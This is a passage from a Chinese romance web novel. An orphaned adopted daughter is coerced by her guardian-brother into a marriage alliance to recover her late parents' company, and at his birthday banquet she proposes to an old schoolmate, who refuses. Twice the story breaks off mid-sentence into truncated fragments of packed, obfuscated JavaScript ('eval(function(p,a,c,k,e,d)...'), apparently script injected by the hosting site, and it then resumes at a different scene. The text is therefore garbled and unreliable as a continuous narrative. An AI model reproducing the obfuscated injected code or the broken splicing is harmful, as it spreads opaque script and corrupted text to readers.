他很少这样低声下气,似乎一切任林惊岁拿捏,傅清寒清楚地知道林惊岁的软肋,所以有恃无恐。 可林惊岁不敢沉浸其中,她后退一步,拉开两人距离,抬起下巴,嗓音沙哑地质问道,“傅清寒,我们这样,算什么?” “我在你眼里,又算什么?” 这么些年,林惊岁一直很乖巧,无论是生活上还是学习工作上,从来没有忤逆过傅清寒。 他说一个人在陵川一中无聊,她就想方设法转学去陵川一中像个听话的木偶陪他; 他说要在娱乐圈拓展疆土,那她就学习新闻传播,帮他处理棘手的工作。 他喜欢温禾,那她就远远的守好自己的职责,忘掉幼时无聊的口头娃娃亲,退至一边。 可现在,傅清寒竟然想利用她为温禾铺路,软柿子捏惯了,真当她是傻子么? 傅清寒没有回答,只是平静地可怕,看破一切似的笑说,“岁岁,那我们再玩个游戏,怎么样?” 像小时候一样,傅清寒提出条件,林惊岁如果能做到,就会奖励她想要的东西。 记得第一次玩这个游戏的时候,林惊岁想要的奖励是一条浅蓝色的舞裙,可现在,林惊岁想要的莫过于—— 傅清寒从办公桌上拿出一份保密文件,对她说,“新星娱乐是你父母留下的唯一财产,你应该有印象。” 林惊岁眼神微变,张了张嘴却没有说话。 他从文件袋中抽出一张协议合同,递给林惊岁,“你十八岁了,我也可以告诉你一些事情,这份协议是我同爸妈换来的,由你父母生前的顾问律师同爸妈所签署,交易内容就是新星娱乐,而这份合同能否落在你手上,则取决于监护人。” “而这个监护人,已经改为我的名字。” “什么、意思?” 林惊岁似乎有所预料,可依旧不敢相信,她的父母为她留下的财产? 怎么可能? 明明在父母去世后,那群利益至上的股东商人就把那些财产以法律手段瓜分殆尽。 除非,林父林母早在车祸发生前就为她准备了这个产业,她盯着协议合同上的内容,分明写上了完完全全属于林惊岁的股份。 而落款处,的确改为了傅清寒的名字。 有一天,两人的身份竟然可以是监护人与被监护人,林惊岁觉得可笑。 傅清寒一点点攻破林惊岁的心理防线,说,“新星娱乐是你父母留下的唯一遗产,你不会想要放弃的,对吧,岁岁。” “条件是什么?” “联姻。” 林惊岁抬起头,有气无力道,“如果我说不呢?” “那恐怕你永远无法拿到这份财产,直到你同意定亲为止。” 傅清寒气定神闲,他知道,总有一天林惊岁会同意的,他太了解这个养妹,“或者我们就把这份财产永久搁置,你也可以选择一直住在傅家,看你的选择。” 留下,或者去另一栋豪宅中做提线木偶。 林惊岁第一次放下身段,说了句,“路家的势力你清楚的,他们有更好的联姻对象选择,路家老爷子向来挑剔,他们根本不会选择我。” 傅家养女,离名媛相差甚远,根本没有任何可以带给路氏的利益。 路家不是傻子,他们清楚傅清寒所图谋的是什么,所以根本不会答应这场联姻。 无论何时,她向来都不是被坚定选择的一方。 傅清寒说:“倘若路氏不同意,苏家也不是不行,苏寅琛与你年纪差不多,他们家同样可以缓解现在的难题,只是不如路氏而已。” 呵,她果然只是旗子么? 林惊岁眼睛酸涩,“非联姻不可么?” 他沉默着,眼神隐藏于阴暗中。 窗外阴霾沉沉,雨打窗沿,像是破碎的玻璃片在灰暗的天空之下哭泣。 林惊岁攥紧了衣角,又骤然无力地松开手,“我,可以再想想么?” “随时,”傅清寒重新回到座位上,面前搁置着那份合同,淡声道,“整个大学期间,你都可以去思索,但不要让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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临近门扉,刚要敲门之际,林惊岁的胳膊却停在半空中,门内传来的声音令她脊背微微一僵,屏住呼吸。 “清寒,新星娱乐你知道么?” “怎么了?” 温禾笑吟吟道,“听说最近他们打算办一档热门综艺,我刚回来,正是需要大量路人盘稳定的综艺节目提高人气,你又不是不知道。” 一瞬的沉默,傅清寒岔开话题,“之前你想要的几个项目已经谈拢的差不多了。” “新星娱乐不一样,他们的综艺效果好,路人缘也不错,要比我自己拍戏演电影有用多了。”温禾继续软磨硬泡。 傅清寒依旧没答应。 温禾又说,“新星娱乐之前受过傅氏的帮助,虽然控股人不是你,但说句话总归有用的吧,而且——” 她顿了顿,又循循渐进,“如果新星娱乐的股份移交到我手中,那我岂不是和你一样,只是签签字看看汇报,就能分红啦?你舍得我在娱乐圈受罪嘛?” “而且,你那个收养的妹妹不是也不想联姻吗,刚好,新星娱乐的股份可以分我,以你的能力,不可能做不到。” 温禾娓娓道来,目的不言而喻。 林惊岁静默着,没有进去,反而呼吸更加平静,她也想知道,傅清寒会如何回答。 可还没等到傅清寒开口,身后的张姨却突然看到了在门口犹疑不进的林惊岁,喊道,“小姐,您怎么不进去?” 15. 求婚 林惊岁猛然回过神,摆手示意说,“张姨,我在找我的戒指,可是我,找不到了。” 她语气忽的一哽,蹲下身来摸索着,企图在空无杂物的地面上找到那枚本就不存在的戒指。 办公室门打开,林惊岁隐约透过模糊的视线,瞧见了那双黑皮皮鞋,安安稳稳地站在她身前。 “岁岁。” “哥——”林惊岁第一次率先打断他,喊了声哥哥,像是个委屈的孩子低头避开他的视线。 “我找不到我的戒指了。” 傅清寒回:“你想要多少戒指,我让人去买。” 温禾低头,微微笑说,“戒指不带钻石,不值什么钱。” 她摇摇头,却不敢去看那双冷漠失望的眼睛,也顾不得温禾与傅清寒会如何看她,哽着声说完后,林惊岁背过身,狼狈离开。 周遭玩闹声此起彼伏,可都与她无关,后花园的小雪哗啦啦落下,沾满了林惊岁乌黑柔软的长发。 她死死咬着嘴唇,咬牙不落泪,“不许哭!不许哭!林惊岁,你好不争气!” 白色短靴并不防滑,就这样,林惊岁踉踉跄跄地摔倒在了一处人迹罕至的角落,满身泥泞染脏了雪白绸缎的半身长裙,冰冷刺骨的寒意不由分说地刺入发肤。 林惊岁咬着牙检查了一下伤势,眼睛红肿,她拿手背抹了下眼泪,即便心里难受,还是要一点点站起来。 可眼下,她根本没有一点力气,只是委屈地自言自语,“我找不到我的戒指了,找不到了……” 雪越下越大,外面的宾客也越来越少,没人想在这么冷的天气中欣赏弱不禁风的娇花。 可仔细观察就知道,傅清寒特意命人在那些花丛上罩上了一层保护罩,而唯独角落里的几簇仙女木依旧盛开着,迎着寒雪。 仙女木是冰岛的国花,林惊岁曾说过,如果有机会,她一定要亲自养一些仙女木,可惜工作原因,一直没能实现。 没成想,再次看到仙女木,竟然是在这不起眼的偏僻小角落。 林惊岁下把缩进脖颈处的围巾里,感受着仅有的一丝温暖。 缓了缓,她膝盖微移,往前挪近,仔细瞧了眼那小巧白洁的仙女木。 慢慢的,她心里已经有了抉择,与此同时,林惊岁的脚下忽的多了一小片阴影。 眼前是一双崭新锃亮的皮鞋,一身黑色外衣,简约却不失矜贵。 撑着黑伞的高大的身影恍若一个巨大的保护圈,将偌大的阴霾白雪挡在外面,好似连风雪都就此消停止住。 下一刻,林惊岁头顶传来了一道低沉富有磁性的嗓音,他喊了她的名字,“林惊岁——” “——你在哭么?” 说不清是亲昵关照,或是冷漠疏离,但始终有一条若有若无的距离横贯在两人之间。 刹那间,林惊岁心跳漏了半拍,葱白的指尖攥紧裙摆。 她蓦然抬头,对上那双前不久才看到过的、深邃有神的眼眸,冷静自持,似乎只是举手之劳。 “林惊岁,为什么每次看到你,你都在哭?” 无论是高中,还是五年后的现在。 他语气颇有些无奈,可并没有什么动作,只是静静看着她,看她自我舔舐伤口,自我痊愈。 “我、我没有,”林惊岁慌忙解释,“我就是,眼睛进了雪粒,有点酸。” “嗯。” 淡淡的只有一个字的回答,说不上是相信还是不相信。 “路今越,”林惊岁忽的想起来前两天广安寺的事情,以及两人莫名其妙加上的微信,她下意识说,“好久不见。” 男人高她一个头,下颌线流畅锋利,鼻梁高挺,另一只手插在大衣的口袋里。 林惊岁个子本就不低,可站在路今越旁边,还是觉得要穿个高跟鞋比较合适。 若是不说话,只觉他的气场要比傅清寒还要疏远冰冷,给人若即若离之感,好不真切。 “确实好久不见。” 林惊岁站起身,上下扫了他一眼,然后礼貌道,“你要去宴席么?已经开始了,是不是我耽误你时间了?” “没有。”路今越抬手看了眼时间,随后掀起眼皮看了眼林惊岁,问,“你不进去?” “我,我有事情。” 路今越偏头,下巴指了下那些簇拥的仙女木,“看这些么?” “啊?嗯,”林惊岁不自觉地拘谨起来,搪塞道,“随便瞧瞧。” “随便瞧瞧?”路今越的目光落在了她弄脏的裙角上,又抬眼看她心虚的模样,只觉得好玩儿。 “我——”林惊岁缴械投降,泄气似的说,“错了错了,不骗你了,我就是哭了,现在好难过好难过,可以了么?” 路今越单挑眉,似乎很满意她的回答,一本正经道,“勉强可以。” 说完,林惊岁简单整理了一下,打算暂时回庄园换身干净衣服再离开。 “林惊岁。”身后的男人又喊住她。 “嗯?”她不解。 只见路今越静静地站在原地,望着她,平静地说出四个字,“我不认路。” “不认——”林惊岁不信,以路今越这样的大腕儿,怎么可能没有专门的服务生引路? 但奈何这厮的眼神太过真挚,令她不得不信,于是,林惊岁试探地问,“不然,我带你进去?” 话音刚落,路今越便礼貌接道,“麻烦了。” “……” 两人并行,一路无话,路今越不开口,林惊岁也不会主动找话题,毕竟两人如今也只算是萍水相逢。 更有上一次的乌龙事件,两人都心照不宣的没有提起。 踏入大厅后,林惊岁找张姨帮忙照顾路今越,自己则是上楼换件衣服。 张姨看了眼她身后的男人,脸色一下子白了不少,她一眼就认出了这位路家大少爷。 前两日傅总还千叮咛万嘱咐要格外照顾好这位主儿,可负责的服务生到现在都没接到人,还以为路大少爷今日不来了,怎么跟在自家小姐身后进来了。 她可担待不起,连声道,“真是不好意思路少,是我们招待不周,您往里面请。” 路今越问,“林小姐身边的小孩儿,不在么?” 张姨一愣,“什么小孩儿?” 末了,她缓过神来,笑说,“您说的是我们小姐前不久捡来的小孩子吧,小姐心善,在没找到那小孩子妈妈之前,说要一直亲自照顾,只带他回来过一次。” 路今越轻嗯了一声,语气不明,但眼底却分明划过一丝浅浅的傲娇雀跃,只是转瞬即逝。 庆生环节后,傅清寒亲自去为那些商业大亨敬酒。 经过其中一位满腹便便的老板时,那人却半开玩笑地问,“傅总今年也已经二十五,不知道什么时候与林小姐修成正果?” 业界圈内都清楚,傅清寒与傅氏名义上收养的二小姐乃是青梅竹马,幼时两家父辈就在口头上订下过一门娃娃亲,彼时也是在傅清寒的生日宴会上,不少圈内权威老人都清楚。 当时不少人称赞,这是场强强联合的商业联姻,傅清寒自幼学习钢琴,那林惊岁就学舞蹈为他伴舞,两人两小无猜,可谓的上是一段佳话。 身侧的温禾笑容凝固,侧目看着傅清寒,没有表示,她也有眼力劲儿,因为那位大佬自己惹不起,也攀不上,他打心眼儿就没正眼瞧过自己。 的确,这位贺仲,贺老板林惊岁也认识,当年和她的父亲一起合作过一档项目。 彼时林惊岁经常在公司看到林父与他把酒言欢,关系很不错,只可惜林父出意外后,贺老板也很少同林惊岁来往。 傅清寒看着贺仲面上笑眯眯,但实则却很清楚他在问什么,他就是要看,在如此多人的场合下,傅清寒的选择究竟是谁。 “贺叔叔,儿时的娃娃亲只是两家人开玩笑的酒后之言,不算数。” “我向来把岁岁当作亲妹妹来看。” 亲妹妹。 林惊岁就这么站在旋转的楼梯上,脚下灌铅似的走不动道,凉意渗透心底,她静静地听着。 众人早就猜到了这个答案,但对于林惊岁而言,却不亚于当众被撕开伤疤供人凌迟欣赏,她心脏紧缩,仿佛被全世界抛弃了一般,指尖冰凉。 贺仲依依不饶,又追问,“娃娃亲可以不作数,又不影响你们结婚。” 傅清寒反问,“那贺叔叔您觉得该如何?” “我倒是觉得岁岁对你——” “贺叔叔!”林惊岁及时打断,她缓缓下楼,走至两人身边,郑重道,“哥,我想宣布一件事。” 两人对视一眼,傅清寒瞬间明晰她的决定,端着高脚杯的手下意识收紧,面上依旧风轻云淡道:“好啊,我的生日宴上,你有这个权利。” “是不是只要我今日联姻,你就会把新星娱乐的股权全部还给我?” 傅清寒直视她的眼眸,“嗯,前提是他对集团有用。” 林惊岁强行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更遑论如今林惊岁只是一介孤女,因着傅氏才能勉强在他们这些人面前露面。 路家怎么可能傻乎乎同意这门完全对傅氏有益的婚约,路今越又怎么可能傻傻地去当冤大头呢? 人们窃窃私语,总之,毋庸置疑,路今越一定会拒婚! 路今越只是淡淡地扫了她一眼,目光随后落在了她指尖的那枚戒指上,忽的想起,刚刚她所说的找不到的那枚戒指,难不成就是这个? “戒指不好看。” “啊?” 林惊岁愣了下,旋即硬着头皮又凑近了一些。 恍惚间好像数年前她第一次遇到路今越,彼时他是学校意气风发的天之骄子。 而她一如既往的狼狈不堪,同样的,傅清寒就站在他们身后。 林惊岁脸颊发烫,脑袋也有些不清醒,可她还是毫不退缩地抬头,目光如炬,嗓音清朗道。 “路今越,我叫林惊岁,林子的林,惊艳岁月的的‘惊岁’,双鱼座,今年二十三岁,毕业于青榆大学,蝉联四年国奖,参加过全国记者大赛并且拿了一等奖,名誉无数, 会跳舞,会唱歌,还会采访写报告,拿到我父母的遗产后,股份可以分你一半。 总之,我有联姻的价值,你娶我,不亏!” 她可不想嫁给苏家的那个纨绔子弟,倒不如就近选择,反正,总比嫁给一个完全陌生的人好。 而且,路今越这个人,还是挺仗义的。 在短暂的、沉默的半分钟内,林惊岁想了许多,或许,路今越就是电视剧里演的救人于水火之中的英雄呢? 再不济,他顾念着曾经的高中情谊,应该也能再陪她演个戏吧? 可她万万没想到,眼前的男人只是轻描淡写地吐出两个字,“不娶。” 不娶? 这丫的脾气怎么还是和以前一模一样啊?! 啪的一声,好像有什么东西在她心头一点一点破碎,眼前的黑暗似乎也快要将她吞噬,林惊岁只觉得头晕目眩,身体似乎也即将到达临界值。 下一刻,林惊岁眼前一黑,整个世界顿时失去意识,身体软绵绵地径直朝前倒去。 余光依稀瞧见路今越慌乱的神情,再之后的内容她也回忆不起来。 只记得那天,她全身如坠冰窟,冷得发颤。 “林惊岁!”